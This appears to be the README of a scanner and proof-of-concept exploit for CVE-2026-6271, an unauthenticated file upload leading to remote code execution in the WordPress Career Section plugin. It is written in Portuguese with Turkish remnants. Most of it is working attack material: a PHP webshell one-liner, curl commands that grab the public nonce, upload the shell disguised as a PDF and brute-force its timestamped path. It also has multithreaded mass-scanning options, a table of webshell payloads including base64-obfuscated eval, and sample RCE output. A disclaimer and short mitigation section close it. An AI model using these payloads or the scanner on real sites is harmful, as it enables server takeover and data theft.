
Scanner automatizado para CVE-2026-6271, um upload arbitrário de arquivos não autenticado que leva a RCE no plugin Career Section do WordPress. Suporta varredura multithread, múltiplos tipos de shell e integração com proxy.
Plugin: Career Section (
career-section) CVE ID: CVE-2026-6271 CVSS Score: 9.8 (Crítica) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código Versão Afetada: <= 1.7 Versão Corrigida: 1.8 Data de Publicação: 13 de maio de 2026 Pesquisador: Paolo Tresso — Wordfence
O plugin Career Section permite que os proprietários de sites publiquem vagas de emprego e coletem candidaturas. Cada página de vaga contém um formulário "Apply Now". Esse formulário inclui um campo de envio de arquivo de CV.
Nas versões 1.7 e anteriores, o manipulador de envio aceita qualquer tipo de arquivo — incluindo .php. Como o formulário é público e o token CSRF está embutido no HTML da página, essa vulnerabilidade pode ser explorada sem exigir nenhuma conta ou privilégio.
Nonces do WordPress são tokens CSRF, não tokens de autenticação. O valor do nonce é embutido no HTML da página para cada visitante:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
</script>
Qualquer visitante não autenticado pode obter um nonce válido e passar pela verificação.
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Uzantı kontrolü YOK — .php dahil her şey kabul edilir
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() apenas limpa caracteres especiais, não bloqueia extensões perigosas.
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
Neste diretório não existe arquivo .htaccess que impeça a execução de PHP.
| Motivo | Descrição |
|---|---|
| Nenhuma autenticação necessária | Nonce embutido no HTML público |
| Sem restrição de tipo de arquivo | .php, .php5, .phtml são aceitos |
Sem proteção .htaccess | PHP é executado no diretório de upload |
| Nome de arquivo previsível | time()_filename → brute-force de timestamp |
⚠️ Aviso legal: Esta PoC é apenas para fins educacionais. Teste apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito.
Pré-requisitos:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
Estrutura a ser procurada no código-fonte da página:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
O nome do arquivo está no formato <timestamp>_shell.php. Tente os timestamps ao redor de $TS:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
Saída esperada:
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| Parâmetro | Abreviação | Descrição | Padrão |
|---|---|---|---|
--url | -u | URL de alvo único | — |
--list | -l | Arquivo de lista de alvos | — |
--threads | -t | Número de threads | 10 |
--output | -o | Arquivo de saída | rce_confirmed.txt |
--job-url | — | URL direta da vaga | — |
--shell-name | — | Nome do arquivo a ser enviado | shell.php |
--shell-type | — | Tipo de shell | system |
--verify-cmd | — | Comando de verificação de RCE | id |
--ts-window | — | Janela de brute-force de timestamp (±seg) | 5 |
--proxy | — | URL do proxy | — |
--timeout | — | Timeout da requisição (seg) | 10 |
| Tipo | Payload | Descrição |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Comando básico do sistema |
passthru | <?php passthru($_GET["cmd"]); ?> | Saída bruta |
exec | <?php echo exec($_GET["cmd"]); ?> | Execução silenciosa |
assert | <?php assert($_POST["cmd"]); ?> | Eval via POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Ofuscação Base64 |
full | shell_exec + system + exec fallback | Shell completo com fallback |
WordPress Kök/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← Shell burada
Acesso direto:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Status | Descrição |
|---|---|
★ RCE OK | Shell enviado + comando executado com sucesso |
★ SHELL ALIVE | Shell acessível, retornou resposta diferente |
~ EXEC_DISABLED | Shell existe, mas o exec() está desabilitado no servidor |
? UPLOADED | Enviado, mas o timestamp não foi encontrado |
- BLOCKED | Tipo de arquivo bloqueado (versão corrigida) |
~ NO_NONCE | csaf_form_nonce não encontrado |
~ TIMEOUT | Tempo de conexão esgotado |
~ UNREACH | Não foi possível alcançar o alvo |
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (kaynak: http://hedef1.com/careers/engineer/)
Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (dosya tipi engellendi)
[~ NO_NONCE ] http://hedef3.com (csaf_form_nonce bulunamadı)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────
| Medida | Implementação |
|---|---|
| Atualização do Plugin | Atualize para o Career Section 1.8 ou superior |
| Bloqueio de Execução de PHP | Adicione .htaccess ao diretório de upload |
| Whitelist de Extensões | Aceite apenas pdf, doc, docx |
| Validação MIME | Verifique o conteúdo real com finfo_file() |
| Regra de WAF | Bloqueie requisições de upload .php |
.htaccess para o diretório wp-content/uploads/cs_applicant_submission_files/:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-6271-scanner/
├── career_section_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Esta ferramenta e esta PoC destinam-se exclusivamente ao uso em sistemas autorizados, para fins educacionais e no âmbito de testes de penetração. O uso em sistemas não autorizados constitui crime nos termos dos artigos 243.º a 245.º do Código Penal Turco e das leis internacionais sobre crimes cibernéticos. O desenvolvedor não assume nenhuma responsabilidade legal por danos decorrentes do uso indevido da ferramenta.
Licença MIT — Apenas para fins educacionais e de pesquisa.